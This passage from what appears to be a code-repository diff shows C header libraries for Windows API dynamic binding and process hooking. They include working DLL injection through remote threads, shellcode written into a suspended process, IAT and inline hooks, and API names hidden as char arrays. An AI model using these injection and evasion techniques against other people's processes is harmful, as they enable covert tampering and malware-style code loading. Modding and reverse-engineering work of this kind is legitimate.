HANDLE WINAPI windyn_CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID);
WINDYN_API
BOOL WINAPI windyn_Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe);
WINDYN_API
BOOL WINAPI windyn_Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe);
#ifdef WINDYN_IMPLEMENTATION
#include <windows.h>
#include <winternl.h>
// util functions
// winapi inline functions define
HMODULE WINAPI windyn_GetModuleHandleA(
LPCSTR lpModuleName)
{
PPEB peb = NULL;
HMODULE hmod = NULL;
WINDYN_FINDMODULE(peb, lpModuleName, hmod);
return hmod;
}
HMODULE WINAPI windyn_LoadLibraryA(
LPCSTR lpLibFileName)
{
HMODULE kernel32 = NULL;
WINDYN_FINDKERNEL32(kernel32);
PFN_LoadLibraryA pfnLoadLibraryA = NULL;
WINDYN_FINDLOADLIBRARYA(kernel32, pfnLoadLibraryA);
return pfnLoadLibraryA(lpLibFileName);
}
FARPROC WINAPI windyn_GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName)
{
HMODULE kernel32 = NULL;
WINDYN_FINDKERNEL32(kernel32);
PFN_GetProcAddress pfnGetProcAddress = NULL;
WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress);
return pfnGetProcAddress(hModule, lpProcName);
}
LPVOID WINAPI windyn_VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect)
{
HMODULE kernel32 = NULL;
WINDYN_FINDKERNEL32(kernel32);
PFN_GetProcAddress pfnGetProcAddress = NULL;
WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress);
char name_VirtualAllocEx[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 'E', 'x', '\0'};
PFN_VirtualAllocEx pfnVirtualAllocEx = (PFN_VirtualAllocEx)pfnGetProcAddress(kernel32, name_VirtualAllocEx);
return pfnVirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect);
}
// todo
BOOL WINAPI windyn_VirtualFreeEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType);
BOOL WINAPI windyn_VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect);
BOOL WINAPI windyn_CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation);
HANDLE WINAPI windyn_OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId);
HANDLE WINAPI windyn_GetCurrentProcess(
VOID);
BOOL WINAPI windyn_ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead);
BOOL WINAPI windyn_WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten);
HANDLE WINAPI windyn_CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
HANDLE WINAPI windyn_GetCurrentThread(
VOID);
DWORD WINAPI windyn_SuspendThread(
HANDLE hThread);
DWORD WINAPI windyn_ResumeThread(
HANDLE hThread);
BOOL WINAPI windyn_GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext);
BOOL WINAPI windyn_SetThreadContext(
HANDLE hThread,
CONST CONTEXT* lpContext);
DWORD WINAPI windyn_WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds);
BOOL WINAPI windyn_CloseHandle(
HANDLE hObject);
HANDLE WINAPI windyn_CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID);
BOOL WINAPI windyn_Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe);
BOOL WINAPI windyn_Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe);
#endif // WINDYN_IMPLEMENTATION
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // _WINDYN_H
/**
* history
* v0.1, initial version
* v0.1.1, add some function pointer
* v0.1.2, add some inline stdc function
* v0.1.3, add some inline windows api
* v0.1.4, improve macro style
* v0.1.5, seperate some macro to commdef
*/
+753
View File
@@ -0,0 +1,753 @@
/**
* windows dyamic hook util functions wrappers
* v0.3.3, developed by devseed
*
* macros:
* WINHOOK_IMPLEMENT, include defines of each function
* WINHOOK_SHARED, make function export
* WINHOOK_STATIC, make function static
* WINHOOK_NOINLINE, don't use inline function
* WINHOOK_NO3RDLIB, don't use 3rd lib for inlinehook
* WINHOOK_USEDYNBIND, use dynamic binding for winapi api
*/
#ifndef _WINHOOK_H
#define _WINHOOK_H
#define WINHOOK_VERSION 330
#ifdef USECOMPAT
#include "commdef_v100.h"
#else
#include "commdef.h"
#endif // USECOMPAT
// define specific macro
#ifdef WINHOOK_API
#undef WINHOOK_API
#endif
#ifdef WINHOOK_API_DEF
#undef WINHOOK_API_DEF
#endif
#ifdef WINHOOK_API_EXPORT
#undef WINHOOK_API_EXPORT
#endif
#ifdef WINHOOK_API_INLINE
#undef WINHOOK_API_INLINE
#endif
#ifdef WINHOOK_STATIC
#define WINHOOK_API_DEF static
#else
#define WINHOOK_API_DEF extern
#endif // WINHOOK_STATIC
#ifdef WINHOOK_SHARED
#define WINHOOK_API_EXPORT EXPORT
#else
#define WINHOOK_API_EXPORT
#endif // WINHOOK_SHARED
#ifdef WINHOOK_NOINLINE
#define WINHOOK_API_INLINE
#else
#define WINHOOK_API_INLINE INLINE
#endif // WINHOOK_NOINLINE
#define WINHOOK_API WINHOOK_API_DEF WINHOOK_API_EXPORT WINHOOK_API_INLINE
#ifdef __cplusplus
extern "C" {
#endif
#include <windows.h>
/**
* start a exe and inject dll into exe
* @return pid
*/
WINHOOK_API
DWORD winhook_startexeinject(LPCSTR exepath, LPSTR cmdstr, LPCSTR dllpath);
/**
* start a exe by CreateProcess
* @return pid
*/
WINHOOK_API
DWORD winhook_startexe(LPCSTR exepath, LPSTR cmdstr)
{
return winhook_startexeinject(exepath, cmdstr, NULL);
}
/**
* get the process handle by exename
*/
WINHOOK_API
HANDLE winhook_getprocess(LPCWSTR exename);
/**
* get the other process image base
*/
WINHOOK_API
size_t winhook_getimagebase(HANDLE hprocess);
/**
* dynamic inject a dll into a process
*/
WINHOOK_API
BOOL winhook_injectdll(HANDLE hprocess, LPCSTR dllname);
/**
* alloc a console for the program
*/
WINHOOK_API
void winhook_installconsole();
/**
* patch addr by buf with bufsize
*/
WINHOOK_API
BOOL winhook_patchmemoryex(HANDLE hprocess,LPVOID addr, const void* buf, size_t bufsize);
WINHOOK_API
BOOL winhook_patchmemory(LPVOID addr, const void* buf, size_t bufsize)
{
return winhook_patchmemoryex(GetCurrentProcess(), addr, buf, bufsize);
}
/**
* batch patch memories
*/
WINHOOK_API
BOOL winhook_patchmemorysex(HANDLE hprocess,
LPVOID addrs[], void* bufs[], size_t bufsizes[], int n);
WINHOOK_API
BOOL winhook_patchmemorys(LPVOID addrs[], void* bufs[], size_t bufsizes[], int n)
{
return winhook_patchmemorysex(GetCurrentProcess(), addrs, bufs, bufsizes, n);
}
/**
* patch memory with pattern,
* @param pattern
* skip '#' line, + for reative address, then multi byte code (hex)
* 00400000: ff 90
* +3f00: 90 90 90 90
* +3f06: 90; +3f08: 90
* @return patch bytes number, error < 0
*/
WINHOOK_API
int winhook_patchmemorypattern(const char *pattern);
/**
* patch memory with pattern 1337 by x64dbg, use rva
* can use ';' instead of '\r' '\n'
*/
WINHOOK_API
int winhook_patchmemory1337ex(HANDLE hprocess,
const char* pattern, size_t base, BOOL revert);
WINHOOK_API
int winhook_patchmemory1337(const char* pattern, size_t base, BOOL revert)
{
return winhook_patchmemory1337ex(GetCurrentProcess(), pattern, base, revert);
}
/**
* patch memory with pattern ips(International Patching System)
* specifications at https://zerosoft.zophar.net/ips.php
* addr is relative to base, big endian
*/
WINHOOK_API
int winhook_patchmemoryipsex(HANDLE hprocess, const char* pattern, size_t base);
WINHOOK_API
int winhook_patchmemoryips(const char* pattern, size_t base)
{
return winhook_patchmemoryipsex(GetCurrentProcess(), pattern, base);
}
/**
* search the pattern like "ab 12 ?? 34"
* @return the matched address
*/
WINHOOK_API
void* winhook_searchmemory(void* addr, size_t memsize,
const char* pattern, size_t *pmatchsize);
WINHOOK_API
void* winhook_searchmemoryex(HANDLE hprocess,
void* addr, size_t memsize, const char* pattern, size_t* pmatchsize);
/**
* winhook_iathookmodule is for windows dll,
* @param moduleDllName is which dll to hook iat
*/
WINHOOK_API
BOOL winhook_iathookpe(LPCSTR targetDllName, void* mempe, PROC pfnOrg, PROC pfnNew);
WINHOOK_API
BOOL winhook_iathookmodule(LPCSTR targetDllName, LPCSTR moduleDllName, PROC pfnOrg, PROC pfnNew)
{
return winhook_iathookpe(targetDllName, GetModuleHandle(moduleDllName), pfnOrg, pfnNew);
}
/**
* iat dynamiclly hook,
* replace the @param pfgNew with @param pfnOrg function
* @param targetDllName like "user32.dll", "kernel32.dll"
*/
WINHOOK_API
BOOL winhook_iathook(LPCSTR targetDllName, PROC pfnOrg, PROC pfgNew)
{
return winhook_iathookmodule(targetDllName, NULL, pfnOrg, pfgNew);
}
/**
* inline hooks wrapper,
* @param pfnTargets -> @param pfnNews, save origin pointers in @param pfnOlds
* @return: success hook numbers
*/
WINHOOK_API
int winhook_inlinehooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n);
WINHOOK_API
int winhook_inlineunhooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n);
#ifdef WINHOOK_IMPLEMENTATION
#include <stdio.h>
#include <stdint.h>
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <psapi.h>
#ifdef WINHOOK_USEDYNBIND
#ifndef WINDYN_IMPLEMENTATION
#define WINDYN_IMPLEMENTATION
#endif // WINDYN_IMPLEMENTATION
#ifndef WINDYN_STATIC
#define WINDYN_STATIC
#endif // WINDYN_STATIC
#ifdef USECOMPAT
#include "windyn_v150.h"
#else
#include "windyn.h"
#endif // USECOMPAT
#define strlen inl_strlen
#define _stricmp inl_stricmp
#define _wcsicmp inl_wcsicmp
#define GetModuleHandleA windyn_GetModuleHandleA
#define LoadLibraryA windyn_LoadLibraryA
#define GetProcAddress windyn_GetProcAddress
#define VirtualAllocEx windyn_VirtualAllocEx
#endif // WINHOOK_USEDYNBIND
// loader functions
DWORD winhook_startexeinject(LPCSTR exepath, LPSTR cmdstr, LPCSTR dllpath)
{
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(exepath, cmdstr,NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return 0;
if (dllpath) // inject dll to process
{
size_t n = 0;
HANDLE hprocess = pi.hProcess;
HANDLE hthread = pi.hThread;
LPVOID injectaddr = VirtualAllocEx(hprocess,
0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
size_t oepva = 0;
// prepare shellcode
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_ALL;
GetThreadContext(hthread, &context);
#ifdef _WIN64
uint8_t injectcode[] = {0x50,0x53,0x51,0x52,0xe8,0x2d,0x00,0x00,0x00,0x48,0x8d,0x58,0xf7,0x48,0x83,0xec,0x28,0x48,0x8b,0x8b,0x43,0x00,0x00,0x00,0x48,0x8b,0x83,0x4b,0x00,0x00,0x00,0xff,0xd0,0x48,0x83,0xc4,0x28,0x48,0x8b,0x83,0x3b,0x00,0x00,0x00,0x49,0x89,0xc7,0x5a,0x59,0x5b,0x58,0x41,0xff,0xe7,0x48,0x8b,0x04,0x24,0xc3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
oepva = context.Rip;
context.Rip = (ULONGLONG)injectaddr;
#else
uint8_t injectcode[] = {0x50,0x53,0xe8,0x1e,0x00,0x00,0x00,0x8d,0x58,0xf9,0x8b,0x83,0x2d,0x00,0x00,0x00,0x50,0x8b,0x83,0x31,0x00,0x00,0x00,0xff,0xd0,0x8b,0x83,0x29,0x00,0x00,0x00,0x89,0xc7,0x5b,0x58,0xff,0xe7,0x8b,0x04,0x24,0xc3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
oepva = context.Eip; // origin eip at RtlUserThreadStart
context.Eip = (DWORD)injectaddr;
#endif
SetThreadContext(hthread, &context);
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0'};
HMODULE kernel32 = GetModuleHandleA(name_kernel32);
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
FARPROC pfnLoadlibraryA = GetProcAddress(kernel32, name_LoadLibraryA);
size_t* pretva = (size_t*)(injectcode
+ sizeof(injectcode) - 3 * sizeof(size_t));
size_t *pdllnameva = (size_t*)(injectcode
+ sizeof(injectcode) - 2 * sizeof(size_t));
size_t* ploadlibraryva = (size_t*)(injectcode
+ sizeof(injectcode) - 1 * sizeof(size_t));
*pretva = (size_t)oepva;
*pdllnameva = (size_t)((size_t)injectaddr + sizeof(injectcode));
*ploadlibraryva = (size_t)pfnLoadlibraryA;
uint8_t* addr = (uint8_t*)injectaddr;
WriteProcessMemory(hprocess, addr,
injectcode, sizeof(injectcode), (SIZE_T*)&n); // copy shellcode
addr += sizeof(injectcode);
WriteProcessMemory(hprocess, addr,
dllpath, strlen(dllpath) + 1, (SIZE_T*)&n); // copy dll name
}
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
return pi.dwProcessId;
}
HANDLE winhook_getprocess(LPCWSTR exename)
{
// Create toolhelp snapshot.
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process;
ZeroMemory(&process, sizeof(process));
process.dwSize = sizeof(process);
// Walkthrough all processes.
if (Process32First(snapshot, &process))
{
do
{
if (_wcsicmp((const wchar_t*)process.szExeFile, exename) == 0)
{
pid = process.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
if (pid != 0) return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
return NULL; // Not found
}
size_t winhook_getimagebase(HANDLE hprocess)
{
//if (hprocess == GetCurrentProcess()) return (size_t)GetModuleHandleA(NULL);
HMODULE modules[1024]; // Array that receives the list of module handles
DWORD nmodules = 0;
char modulename[MAX_PATH] = {0};
if (!EnumProcessModules(hprocess, modules, sizeof(modules), &nmodules))
return 0; // impossible to read modules
if (!GetModuleFileNameExA(hprocess, modules[0], modulename, sizeof(modulename)))
return 0; // impossible to get module info
return (size_t)modules[0]; // module 0 is apparently always the EXE itself
}
BOOL winhook_injectdll(HANDLE hprocess, LPCSTR dllname)
{
LPVOID addr = VirtualAllocEx(hprocess,
0, 0x100, MEM_COMMIT, PAGE_READWRITE);
SIZE_T count;
if (addr == NULL) return FALSE;
WriteProcessMemory(hprocess,
addr, dllname, strlen(dllname)+1, (SIZE_T*)&count);
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
HMODULE kernel32 = GetModuleHandleA(name_kernel32);
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
FARPROC pfnLoadlibraryA = GetProcAddress(kernel32, name_LoadLibraryA);
HANDLE hthread = CreateRemoteThread(hprocess, NULL, 0,
(LPTHREAD_START_ROUTINE)pfnLoadlibraryA, addr, 0, NULL);
if (hthread == NULL) return FALSE;
WaitForSingleObject(hthread, -1);
VirtualFreeEx(hprocess, addr, 0x100, MEM_COMMIT);
return TRUE;
}
void winhook_installconsole()
{
AllocConsole();
freopen("CONOUT$", "w", stdout);
}
// dynamic hook functions
BOOL winhook_patchmemoryex(HANDLE hprocess, LPVOID addr, const void* buf, size_t bufsize)
{
if (addr == NULL || buf == NULL) return FALSE;
DWORD oldprotect;
BOOL ret = VirtualProtectEx(hprocess, addr, bufsize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (ret)
{
size_t n = 0;
WriteProcessMemory(hprocess, addr, buf, bufsize, (SIZE_T*)&n);
VirtualProtectEx(hprocess, addr, bufsize, oldprotect, &oldprotect);
}
return ret;
}
BOOL winhook_patchmemorysex(HANDLE hprocess, LPVOID addrs[], void* bufs[], size_t bufsizes[], int n)
{
int ret = 0;
for (int i = 0; i < n; i++)
{
ret += winhook_patchmemoryex(hprocess, addrs[i], bufs[i], bufsizes[i]);
}
return ret;
}
int winhook_patchmemorypattern(const char *pattern)
{
if (!pattern) return -1;
size_t imagebase = (size_t)GetModuleHandleA(NULL);
int res = 0;
int flag_rel = 0;
int j = 0;
while (pattern[j]) j++;
int patternlen = j;
DWORD oldprotect;
for(int i=0; i<patternlen; i++)
{
if(pattern[i]=='#')
{
while(pattern[i]!='\n' && i<patternlen) i++;
continue;
}
else if (pattern[i] == '\n' || pattern[i] == '\r')
{
continue;
}
else if (pattern[i]=='+')
{
flag_rel = 1;
i++;
}
while (pattern[i]==' ') i++;
size_t addr = 0;
int flag_nextline = 0;
for (;pattern[i]!=':' && i<patternlen; i++)
{
char c = pattern[i];
if(c>='0' && c<='9') c -= '0';
else if (c>='A' && c<='Z') c = c -'A' + 10;
else if (c>='a' && c<='z') c = c -'a' + 10;
else if (c=='\r' || c=='\n') {flag_nextline=1;break;}
else if (c==' ') continue;
else return -2;
addr = (addr<<4) + c;
}
if(flag_nextline) continue;
if(flag_rel) addr += imagebase;
int n = 0;
int v = 0;
int start = i++;
for(int j=0;j<2;j++)
{
n = 0;
for(;pattern[i]!='\n' && i<patternlen;i++)
{
char c = pattern[i];
if(c>='0' && c<='9') c -= '0';
else if (c>='A' && c<='Z') c = c - 'A' + 10;
else if (c>='a' && c<='z') c = c - 'a' + 10;
else if (c==';') break;
else continue;
n++;
if (j != 0)
{
v = (v << 4) + c;
if (!(n & 1))
{
*(uint8_t*)(addr + (n>>1) -1) = v;
v = 0;
res++;
}
}
}
if(n&1) return -3;
if (j == 0)
{
i = start;
VirtualProtect((void*)addr, n>>1, PAGE_EXECUTE_READWRITE, &oldprotect);
}
else VirtualProtect((void*)addr, n>>1, oldprotect, &oldprotect);
}
flag_rel = 0;
}
return res;
}
int winhook_patchmemory1337ex(HANDLE hprocess, const char* pattern, size_t base, BOOL revert)
{
#define IS_ENDLINE(c) (c==';' || c=='\r' || c=='\n')
enum FLAG1337 {
RVA1337,
OLDBYTE1337,
NEWBYTE1337
} flag1337 = RVA1337;
if (hprocess == NULL) return -1;
int res = 0;
int i = 0;
while (pattern[i]) i++;
int patternlen = i;
i = 0;
while (pattern[i] != '>') i++; // title line
while (!IS_ENDLINE(pattern[i])) i++;
while (IS_ENDLINE(pattern[i])) i++;
size_t rva = 0;
uint8_t oldbyte = 0, newbyte = 0;
for (; i < patternlen; i++)
{
char c = pattern[i];
if (c == ':') // oldbyte indicator
{
flag1337 = OLDBYTE1337;
}
else if (c == '-') // newbyte indicator
{
if (pattern[i + 1] != '>') return -1;
flag1337 = NEWBYTE1337;
i++;
}
else if (IS_ENDLINE(c)) // flush patch
{
if (flag1337 == RVA1337) continue;
uint8_t* patchbyte = revert ? &oldbyte : &newbyte;
winhook_patchmemoryex(hprocess, (LPVOID)(base + rva), patchbyte, 1);
flag1337 = RVA1337;
rva = 0;
oldbyte = 0;
newbyte = 0;
res++;
}
else if (c == ' ')
{
continue;
}
else
{
if (c >= '0' && c <= '9') c -= '0';
else if (c >= 'A' && c <= 'Z') c = c - 'A' + 10;
else if (c >= 'a' && c <= 'z') c = c - 'a' + 10;
else continue;
switch (flag1337)
{
case RVA1337:
rva = (rva << 4) | (uint8_t)c;
break;
case OLDBYTE1337:
oldbyte = (oldbyte << 4) | (uint8_t)c;
break;
case NEWBYTE1337:
newbyte = (newbyte << 4) | (uint8_t)c;
break;
}
}
}
return res;
}
int winhook_patchmemoryipsex(HANDLE hprocess, const char* pattern, size_t base)
{
#define BYTE3_TO_UINT_BIGENDIAN(bp) \
(((unsigned int)(bp)[0] << 16) & 0x00FF0000) | \
(((unsigned int)(bp)[1] << 8) & 0x0000FF00) | \
((unsigned int)(bp)[2] & 0x000000FF)
#define BYTE2_TO_UINT_BIGENDIAN(bp) \
(((unsigned int)(bp)[0] << 8) & 0xFF00) | \
((unsigned int) (bp)[1] & 0x00FF)
if(strncmp(pattern, "PATCH", 5) !=0 ) return -1;
int res = 0;
const uint8_t* p = (uint8_t*)pattern + 5;
while (strncmp((char*)p, "EOF", 3) != 0)
{
unsigned int offset = BYTE3_TO_UINT_BIGENDIAN(p);
unsigned int size = BYTE2_TO_UINT_BIGENDIAN(p + 3);
p += 5;
if (size == 0) // use RLE compress
{
unsigned int size_rle = BYTE2_TO_UINT_BIGENDIAN(p);
return -2; // not implemented yet
}
else
{
size_t addr = base + offset;
winhook_patchmemoryex(hprocess, (LPVOID)addr, p, size);
p += size;
res += size;
}
}
return res;
}
void* winhook_searchmemory(void* addr,
size_t memsize, const char* pattern, size_t* pmatchsize)
{
size_t i = 0;
int matchend = 0;
void* matchaddr = NULL;
while (i < memsize)
{
int j = 0;
int matchflag = 1;
matchend = 0;
while (pattern[j])
{
if (pattern[j] == 0x20)
{
j++;
continue;
}
char _c1 = (((char*)addr)[i+matchend]>>4) & 0x0f;
_c1 = _c1 < 10 ? _c1 + '0' : (_c1 - 10) + 'A';
char _c2 = (((char*)addr)[i+matchend]&0xf) & 0x0f;
_c2 = _c2 < 10 ? _c2 + '0' : (_c2 - 10) + 'A';
if (pattern[j] != '?')
{
if (_c1 != pattern[j] && _c1 + 0x20 != pattern[j])
{
matchflag = 0;
break;
}
}
if (pattern[j + 1] != '?')
{
if (_c2 != pattern[j+1] && _c2 + 0x20 != pattern[j+1])
{
matchflag = 0;
break;
}
}
j += 2;
matchend++;
}
if (matchflag)
{
matchaddr = (void*)((uint8_t*)addr + i);
break;
}
i++;
}
if (pmatchsize) *pmatchsize = matchend;
return matchaddr;
}
void* winhook_searchmemoryex(HANDLE hprocess,
void* addr, size_t memsize, const char* pattern, size_t* pmatchsize)
{
void* buf = VirtualAlloc(NULL, memsize, MEM_COMMIT, PAGE_READWRITE);
size_t bufsize = 0;
ReadProcessMemory(hprocess, addr, buf, memsize, (SIZE_T*)&bufsize);
void* matchaddr = winhook_searchmemory(buf, memsize, pattern, pmatchsize);
VirtualFree(buf, 0, MEM_RELEASE);
if (!matchaddr) return matchaddr;
size_t offset = (size_t)matchaddr - (size_t)buf;
return (void*)((uint8_t*)addr + offset);
}
BOOL winhook_iathookpe(LPCSTR targetDllName, void* mempe, PROC pfnOrg, PROC pfnNew)
{
size_t imagebase = (size_t)mempe;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imagebase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)
((uint8_t*)imagebase + pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
PIMAGE_DATA_DIRECTORY pDataDirectory = pOptHeader->DataDirectory;
PIMAGE_DATA_DIRECTORY pImpEntry =
&pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR pImpDescriptor =
(PIMAGE_IMPORT_DESCRIPTOR)(imagebase + pImpEntry->VirtualAddress);
DWORD dwOldProtect = 0;
for (; pImpDescriptor->Name; pImpDescriptor++)
{
// find the dll IMPORT_DESCRIPTOR
LPCSTR pDllName = (LPCSTR)(imagebase + pImpDescriptor->Name);
if (!_stricmp(pDllName, targetDllName)) // ignore case
{
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(imagebase + pImpDescriptor->FirstThunk);
// find the iat function va
for (; pFirstThunk->u1.Function; pFirstThunk++)
{
if (pFirstThunk->u1.Function == (size_t)pfnOrg)
{
VirtualProtect((LPVOID)&pFirstThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pFirstThunk->u1.Function = (size_t)pfnNew;
VirtualProtect((LPVOID)&pFirstThunk->u1.Function, 4, dwOldProtect, &dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
#ifndef WINHOOK_NO3RDLIB
#ifndef MINHOOK_IMPLEMENTATION
#define MINHOOK_IMPLEMENTATION
#define MINHOOK_STATIC
#endif // MINHOOK_IMPLEMENTATION
#ifdef USECOMPAT
#include "stb_minhook_v1331.h"
#else
#include "stb_minhook.h"
#endif
int winhook_inlinehooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n)
{
int i;
MH_Initialize();
for(i=0; i<n ;i++)
{
MH_STATUS status;
if(!pfnNews[i] || !pfnTargets[i]) continue;
status = MH_CreateHook(pfnTargets[i], pfnNews[i], &pfnOlds[i]);
if(status!= MH_OK) return i;
status = MH_EnableHook(pfnTargets[i]);
if(status!= MH_OK) return i;
}
return i;
}
int winhook_inlineunhooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n)
{
int i;
for(i=0; i<n ;i++)
{
if(!pfnNews[i] || !pfnTargets[i]) continue;
MH_DisableHook(pfnTargets[i]);
}
if(MH_Uninitialize() != MH_OK) return 0;
return i;
}
#endif // WINHOOK_NO3RDLIB
#endif // MINHOOK_IMPLEMENTATION
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // _WINHOOK_H
/**
* history:
* v0.1, initial version
* v0.2, add make this to single file
* v0.2.2, add WINHOOK_STATIC, WINHOOK_SHARED macro
* v0.2.3, change name to winhook.h and add guard for function name
* v0.2.4, add winhook_searchmemory
* v0.2.5, add minhook backend, compatible withh gcc, tcc
* v0.2.6, support function to patch or search other process memory
* v0.2.7, add win_startexeinject, fix winhook_searchmemoryex match bug
* v0.3, use javadoc style, add winhook_patchmemorypattern
* v0.3.1, add winhook_patchmemory1337, winhook_patchmemoryips
* v0.3.2, improve macro style, chaneg some of macro to function
* v0.3.3, seperate some macro to commdef
*/
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff